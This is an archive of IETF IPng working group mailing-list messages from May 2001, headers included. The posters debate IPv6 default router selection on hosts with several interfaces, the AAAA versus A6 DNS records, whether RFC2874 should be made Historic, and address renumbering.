ipng@sunroof.eng.sun.com Subject: Re: Mixed Host/Router behaviour References: <9336.988977574@itojun.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk itojun@iijlab.net wrote: > suppose you have heard RAs from multiple interfaces. there's no > guidelines for us to pick which interface from them, for the > installation of default route. and things like that. > RFC2461 appendix A talks about a host with multiple interfaces, > however, the description is not really complete. so i personally > feel multi-interface autoconfigured host needs more work in > specification side. of course, we can have some configuration > variable in implementation and prefer one of the outgoing interface, > but... i'm not sure. Isn't BSD's single routing table (common for all interfaces) conflicting with the conceptual model of ND with more or less independent interfaces with no routing table for a host implementation but more simple things such as neighbor cache, destination cache, default router list etc. for each interface? Should a host allow internal forwarding of packets between interfaces? A strict routing model maybe doesn't have this problem? /Mattias -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 06:04:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44D4iIM008454 for ; Fri, 4 May 2001 06:04:45 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44D4ieC008453 for ipng-dist; Fri, 4 May 2001 06:04:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44D4ZIM008446 for ; Fri, 4 May 2001 06:04:35 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA21201 for ; Fri, 4 May 2001 06:04:36 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA25606 for ; Fri, 4 May 2001 06:04:34 -0700 (PDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id QAA14096; Fri, 4 May 2001 16:13:51 +0300 Date: Fri, 4 May 2001 16:13:51 +0300 Message-Id: <200105041313.QAA14096@burp.tkv.asdf.org> From: Markku Savela To: kre@munnari.OZ.AU CC: itojun@iijlab.net, ipng@sunroof.eng.sun.com In-reply-to: <4388.988980357@brandenburg.cs.mu.OZ.AU> (message from Robert Elz on Fri, 04 May 2001 19:45:57 +0700) Subject: Re: Mixed Host/Router behaviour Reply-to: Markku.Savela@iki.fi References: <9336.988977574@itojun.org> <4388.988980357@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Robert Elz > > Any time that can rationally be automated, it should make no real > difference (I'd tend to be kind of pragmatic and choose the interface > with the RA of best preference, This is basicly what our stack does. It is perfectly happy with multiple autoconfigured interfaces. It currently (probably a bit dubiously) uses the interface "speed metrich" as weight when picking from multiple reachable default routers. And, wouldn't implementing ideas from draft-draves-ipngwg-router-selection-01.txt bring some light into the issue? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 06:06:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44D6fIM008464 for ; Fri, 4 May 2001 06:06:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44D6fqM008463 for ipng-dist; Fri, 4 May 2001 06:06:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44D6UIM008456 for ; Fri, 4 May 2001 06:06:31 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02517 for ; Fri, 4 May 2001 06:06:31 -0700 (PDT) Received: from haupia.lava.net (haupia.lava.net [64.65.64.20]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA06712 for ; Fri, 4 May 2001 07:38:58 -0600 (MDT) Received: from malasada.lava.net([64.65.64.17]) (1320 bytes) by haupia.lava.net via smail with P:esmtp/R:inet_hosts/T:smtp (sender: ) id for ; Fri, 4 May 2001 03:06:27 -1000 (HST) (Smail-3.2.0.106 1999-Mar-31 #2 built 1999-Dec-7) Date: Fri, 4 May 2001 03:06:27 -1000 (HST) From: Antonio Querubin To: Jim Bound cc: Subject: Re: multicast IPv4-mapped IPv6 addresses/sockets In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 3 May 2001, Jim Bound wrote: > I don't know Linux at this detail. We should test this on all systems. > But if Linux is treating the mapped portion as v6 at the point of the send > and not stripping off all but the low order 32bits when the packet goes to > Linux version of the DLI then it will get wacked for sure. Also I wold > check the address family you believe was set for AF_INET for the multicast > interface set and join operation. Those might be hosed too if my > suspicion is correct???? Actually I think Linux is just treating ::ffff:224.x.x.x returned from gethostbyname() as an IPv4 unicast rather than multicast address. Hence the API socket calls work up until a multicast-specific action is requested. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 06:56:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44Du1IM008571 for ; Fri, 4 May 2001 06:56:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44Du01L008570 for ipng-dist; Fri, 4 May 2001 06:56:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44DtnIM008563 for ; Fri, 4 May 2001 06:55:49 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA14648 for ; Fri, 4 May 2001 06:55:49 -0700 (PDT) Received: from chiark.greenend.org.uk (chiark.greenend.org.uk [195.224.76.132]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA00622 for ; Fri, 4 May 2001 06:55:48 -0700 (PDT) Received: from (davenant.greenend.org.uk) [172.31.80.6] by chiark.greenend.org.uk with esmtp (Exim 3.12 #2) id 14vg3f-0004nh-00 (Debian); Fri, 04 May 2001 14:55:47 +0100 Received: from ian by davenant.greenend.org.uk with local (Exim 3.12 #2) id 14vg3a-0003gA-00 (Debian); Fri, 04 May 2001 14:55:42 +0100 From: Ian Jackson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15090.46302.362557.596189@davenant.relativity.greenend.org.uk> Date: Fri, 4 May 2001 14:55:42 +0100 (BST) To: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing Newsgroups: chiark.mail.ietf.ipng In-Reply-To: References: <15089.38431.917191.847575@davenant.relativity.greenend.org.uk> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jim Bound writes ("Re: AAAA/A6 thing"): > After much good discussion with Davkd Conrad and Paul Vixie, and > Christian/Matts view of this I believe we must implement what we have > regarding A6 specs from the implementation perspective. `After much good discussion with various people, I believe we must implement what we have regarding AAAA specs from the implementation perspective'. Just because something is Proposed Standard doesn't mean it should be implemented and/or advanced to Draft Standard. AAAA is Proposed Standard too, has more operational experience, is simpler, and can do everything that A6 can do just as well if not better. > I will leave it to others to tell us as we develop this if the > specs are to be altered. The A6 spec hasn't been finalised yet. It hasn't even been approved as a general way forward ! At the moment there are two proposals on the table. You can't say `I will leave it to others to [alter the spec]', because there is no specification that says you should do A6 rather than AAAA. > Assist with renumbering. Reduce routing tables. And make IPv6 more > deployable. I will leave it to others to find consensus on this or > against this. It needs to be implemented and used. I agree that we should assist with renumbering, reduce routing tables, and make IPv6 more deployable. But A6 does not help with this. In fact, requiring a complex protocol like A6 where AAAA is adequate will *hinder* IPv6 deployment. Just because A6 was introduced to help with renumbering DOES NOT mean that it is a good thing for that purpose. Nor does it mean that A6 opponents are somehow taking sides in some kind of ipngwg politics about renumbering. I couldn't care less about that politics, and if ipngwg say we need easy renumbering, fine. [1] But ipngwg should not define DNS protocols, dnsext should so so. In this case we have an overcomplex protocol which allegedly exists to meet some renumbering requirement, but which is in fact unnecessary. [1] Actually, as a layman when it comes to IPv6, renumbering, etc., I approve of making renumbering easy. But I'm no expert in that field, and I'll leave that to those who are. Likewise, DNS protocol and architecture should be done by the DNS experts. Ian. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 07:13:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44EDoIM008653 for ; Fri, 4 May 2001 07:13:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44EDo8u008652 for ipng-dist; Fri, 4 May 2001 07:13:50 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44EDcIM008645 for ; Fri, 4 May 2001 07:13:39 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28328 for ; Fri, 4 May 2001 07:13:39 -0700 (PDT) Received: from chiark.greenend.org.uk (chiark.greenend.org.uk [195.224.76.132]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09137 for ; Fri, 4 May 2001 07:13:38 -0700 (PDT) Received: from (davenant.greenend.org.uk) [172.31.80.6] by chiark.greenend.org.uk with esmtp (Exim 3.12 #2) id 14vgKu-0005Ew-00 (Debian); Fri, 04 May 2001 15:13:36 +0100 Received: from ian by davenant.greenend.org.uk with local (Exim 3.12 #2) id 14vgKs-0003u1-00 (Debian); Fri, 04 May 2001 15:13:34 +0100 From: Ian Jackson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15090.47374.934207.226065@davenant.relativity.greenend.org.uk> Date: Fri, 4 May 2001 15:13:34 +0100 (BST) To: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing Newsgroups: chiark.mail.ietf.ipng In-Reply-To: <15090.46302.362557.596189@davenant.relativity.greenend.org.uk> References: <15089.38431.917191.847575@davenant.relativity.greenend.org.uk> <15090.46302.362557.596189@davenant.relativity.greenend.org.uk> X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'd like to ask a procedural question. I'm not sure this is the right place, but this thread will do since this is where the substantive discussion is happening. I looked again at 2026 but it wasn't much help. I think we are now approaching the time to use whatever the formal procedure is to declare RFC2874 Historic. Presumably this will involve getting rough consensus in at least the dnsext wg [1], which I think we might be close to. [1] Some may argue that since 2874 was not really a dnsext document but an ipngwg one, it can't be withdrawn by dnsext. If this is true, then it was probably out of scope for ipng, or at the very least, if dnsext disagree with it then dnsext should be able to obsolete it and require ipngwg to state their requirements so that the protocol design can be done by dnsext. But how should this be initiated ? Should I write an I-D summarising the discussions, with the aim of it eventually becoming an Informational RFC which obsoletes 2874 ? (That would be an IESG standards action, I suppose, despite it being the publication of an Informational document.) Should we start work on polishing up AAAA (RFC1886) to move it to Draft Standard ? I'm not mistaken, am I, about there being at least two interoperable implementations of AAAA and ip6.int ? If we can't get consensus on AAAA going to Draft Standard, can we polish it up a bit and publish it once more as Proposed Standard but obsoleting 2874 ? Are some, all, or none of these the right way to do it ? Ian. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 08:59:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44FxAIM008796 for ; Fri, 4 May 2001 08:59:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44FxAj6008795 for ipng-dist; Fri, 4 May 2001 08:59:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44Fx0IM008788 for ; Fri, 4 May 2001 08:59:00 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA28788 for ; Fri, 4 May 2001 08:59:00 -0700 (PDT) Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA03374 for ; Fri, 4 May 2001 08:59:00 -0700 (PDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Fri, 4 May 2001 08:59:44 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 04 May 2001 08:58:55 -0700 (Pacific Daylight Time) Received: from DF-MAX.platinum.corp.microsoft.com ([172.30.236.100]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Fri, 4 May 2001 08:58:55 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4703.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: Mixed Host/Router behaviour Date: Fri, 4 May 2001 08:58:54 -0700 Message-ID: <5B90AD65A9E8934987DB0C8C076265740878F5A7@DF-BOWWOW.platinum.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Mixed Host/Router behaviour Thread-Index: AcDUlU4H5vAJ/mHrTXeq1UqkbKVJvwAHJXZQ From: "Dave Thaler" To: Cc: X-OriginalArrivalTime: 04 May 2001 15:58:55.0173 (UTC) FILETIME=[1F0FAF50:01C0D4B3] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f44Fx1IM008789 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: itojun@iijlab.net [mailto:itojun@iijlab.net] > Sent: Friday, May 04, 2001 5:00 AM > Subject: Re: Mixed Host/Router behaviour > > > | also, since RFC2462 basically assumes single-interface host, > >Huh? > >I just re-read the thing, and I can't find any assumption like that at > >all. > > suppose you have heard RAs from multiple interfaces. there's no > guidelines for us to pick which interface from them, for the > installation of default route. and things like that. > RFC2461 appendix A talks about a host with multiple interfaces, > however, the description is not really complete. so i personally > feel multi-interface autoconfigured host needs more work in > specification side. of course, we can have some configuration > variable in implementation and prefer one of the outgoing interface, > but... i'm not sure. Try draft-draves-ipngwg-router-selection-01.txt. Our implementation does implement IsRouter on a per-interface basis. -Dave -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 10:49:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44HnNIM009188 for ; Fri, 4 May 2001 10:49:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44HnNCv009187 for ipng-dist; Fri, 4 May 2001 10:49:23 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44Hn8IM009180 for ; Fri, 4 May 2001 10:49:10 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23865 for ; Fri, 4 May 2001 10:49:07 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27991 for ; Fri, 4 May 2001 10:49:05 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 8642F4B0B; Sat, 5 May 2001 02:48:56 +0900 (JST) To: Mattias Pettersson Cc: Robert Elz , ipng@sunroof.eng.sun.com In-reply-to: mattias.pettersson's message of Fri, 04 May 2001 14:47:33 +0200. <3AF2A4E5.F6910E71@era.ericsson.se> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Mixed Host/Router behaviour From: itojun@iijlab.net Date: Sat, 05 May 2001 02:48:56 +0900 Message-ID: <11570.988998536@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Isn't BSD's single routing table (common for all interfaces) conflicting >with the conceptual model of ND with more or less independent interfaces >with no routing table for a host implementation but more simple things >such as neighbor cache, destination cache, default router list etc. for >each interface? even if we conceptually separate routing table per interface, we'd need to look them up together (as one routing table) when we make outgoing connection. I don't think it very useful to have per-interface routing table (I don't think there's big win). >Should a host allow internal forwarding of packets between interfaces? A >strict routing model maybe doesn't have this problem? BSDs use weak host model, and they do not consider accepting packet from interface A for interface address on interface B "forwarding". itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 11:08:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44I8JIM009351 for ; Fri, 4 May 2001 11:08:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44I8IoC009350 for ipng-dist; Fri, 4 May 2001 11:08:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44I87IM009343 for ; Fri, 4 May 2001 11:08:07 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA04900 for ; Fri, 4 May 2001 11:07:57 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA08973 for ; Fri, 4 May 2001 12:41:04 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 1129B4B0B; Sat, 5 May 2001 03:07:45 +0900 (JST) To: Robert Elz Cc: ipng@sunroof.eng.sun.com In-reply-to: kre's message of Fri, 04 May 2001 18:04:52 +0700. <4123.988974292@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Mixed Host/Router behaviour From: itojun@iijlab.net Date: Sat, 05 May 2001 03:07:45 +0900 Message-ID: <11809.988999665@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | we do not really care about the following cases: > | - autoconfigured host with multiple interfaces >You might not care about them, but they seem to work for me? That is, >I run KAME, I have nodes set to "autohost" with more than one interface... it may work but is not really tested. default router selection is likely to be suboptimal (or can go flapped?). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 11:13:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44IDQIM009379 for ; Fri, 4 May 2001 11:13:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44IDPwc009378 for ipng-dist; Fri, 4 May 2001 11:13:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44IDLIM009371 for ; Fri, 4 May 2001 11:13:21 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f44I9rU07176 for ipng@sunroof.eng.sun.com; Fri, 4 May 2001 11:09:53 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f447tMIM007893 for ; Fri, 4 May 2001 00:55:23 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA12059 for ; Fri, 4 May 2001 00:55:23 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA10381 for ; Fri, 4 May 2001 00:55:21 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id OAA16692; Fri, 4 May 2001 14:55:18 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f447tHN03419; Fri, 4 May 2001 14:55:18 +0700 (ICT) From: Robert Elz To: Dan Lanciani cc: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-Reply-To: <200105020655.CAA01592@endor.deas.harvard.edu> References: <200105020655.CAA01592@endor.deas.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 04 May 2001 14:55:17 +0700 Message-ID: <3417.988962917@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 2 May 2001 02:55:05 -0400 (EDT) From: Dan Lanciani Message-ID: <200105020655.CAA01592@endor.deas.harvard.edu> | I understand what you mean, but it implies that there are no alternatives | to non-portable, unstable address space. If this is true then indeed | renumbering has to work transparently, but it isn't clear that there aren't | other solutions to the core problem. No, there might very well be some. It would be real nice if there were. But right now, I don't see one on the horizon, and I know that I don't have the background or ability to find another solution - whereas I do (immodestly) think I have the ability to identify at least some of the issues that make renumbering harder than it should be, and at least agitate to have them corrected. | I wouldn't count on much gain from the one-time event. Nor would I really, and certainly not in the grand scheme of things. | Anyone who currently | owns portable IPv4 address space isn't going to give it up without a fight. No, but that isn't v6 address space, so it isn't really relevant to the immediate issue. It may be that in the distant future there are still people clinging to their v4 address space, and tunnelling it over whatever the internet is built out of at the time. Currently there's no way to get portable IPv6 address space, so people attempting to own that is a non-issue (now anyway). | This is not progress. Router renumbering gives ISPs a tool to conveniently | change your addresses out from under you if you haven't paid a premium for | stable address space. I don't think I'd quite go that far - it gives me a tool to help me renumber my site a little easier if that is forced upon me (for whatever reason). I don't think it quite allows an ISP to do that without my consent. But maybe I missed something in the RFC? | Real progress | would mean solving the much harder end-node renumbering problem with all | that entails at the protocol and application level. Certainly. But this may be an issue where real progress is built of a very large number of very tiny steps, rather any any single quantum leap forward. | This is the model that ISPs are promoting. If you want to do anything | interesting you need static address space, and you are going to pay for it. | (Of course, you have to beg for the privilege of paying for it and it still | isn't portable.) Yes, I can see that as an attractive model for some people. Personally, if we can make renumbering work well enough, then I don't think I'll care if my address changes every now and again. But I suspect you're also thinking of the "I am going to stop you running a server" mentality of some ISPs - the dhcp lists get questions from them along the lines of "how to I force (dhcp) clients to give up their old address and get a new (different) one every few hours?" That's for exactly that purpose. Of course, this is because they're designing a service, and supplying bandwidth, and then charging the customers, based upon the assumption that they're a (current) "typical home user" - ie: someone who sends and gets a bit of e-mail, and browses the web a bit. The e-mail is insignificant and irrelevant in the grand scheme of things, and the web browsing all just bangs on the local proxy cache. Hence cheap rates are possible. Have a few users start running servers (or for that matter, participating much in any other protocols - but for now, what matters is people running their own web servers) and all the planning is out the door, that traffic is real traffic over the ISP's WAN links. So, the ISP has to stop that, and the (technical) way they latch onto is frequent renumbering of the client's address space (it is a bit difficult to run a server when you never know what your address will be from hour to hour). But none of that really has much to do with renumbering ease, or IPv6. That kind of ISP meets a need in society, and I expect will continue to exist. There are other ISPs around (often charging more, as you'd expect) who don't do this kind of thing. And as you point out, often ISPs run both kinds of service - you pay more you can have a stable address (ie: you can run a server), you pay less, and you can't. I don't think we should dwell on those issues - you're not going to get a stable address for the cheap (no server) service if the ISP can find any way to cause it to vary, no matter how easy or hard renumbering is, as it isn't address stability that is the issue/problem there - it is traffic. | People recognize that at some level you need an identifier that you can | call your own. At the moment, the DNS doesn't quite do it. Then let's make it, as much as is reasonable. Personally I don't think it will work well as a connection identifier (though people have proposed using DNS names for that), but it ought to at least be able ti function everywhere anyone needs a long term stable record of an identifier. | A few years ago I proposed a portable identifier mechanism There have been many of those over the years - look in the big-internet archives for all the discussions on EIDs. It would certainly be an attractive thing to do, but there are undoubtably also problems that need to be solved to make them practical. | This is true but misleading. It is misleading because of the unstated | implication that the problem can't be solved by throwing bigger hardware | at it, and this is still open to debate. Yes. And while it is true that hardware has been keeping up with the current growth, it is also true that current growth has been constrained heavily - I'm not sure that even the best we could do with hardware now would manage to cope with what the tables would look like if everyone with an internet connection owned their own stable address (the way we used to). | And we could improve the routing protocols. Yes. But to date we haven't. | Back when address aggregation was introduced for IPv4 it was billed as | temporary hack to slow the growth of the routing tables until hardware | had caught up. CIDR block addresses were _not_ supposed to be non-portable. yes. I know. I recall the promises that that would never happen. | Rather than attempt to solve the routing problem, IPv6 as currently | envisioned simply redefines the temporary hack as a feature of the | routing architecture. Yes. That's absolutely true. But it isn't a design aim of IPv6 to do that, it is just that no-one has yet proposed any other good solution to the routing problem. The closest I think we came was with PIP, which moved it all out of the routers and into the hosts. Needless to say, while that had some support, there wasn't a lot of it - quite apart from any possible economic or self-interest motives, that would have been a huge change - and most people simply dread even a little change, let alone a huge one moving in a direction that no-one has gone before. FUD works. | It expands the address space bit-wise, but preserves the economics | of address allocation. I know what you mean (given the context) - but that isn't quite true. 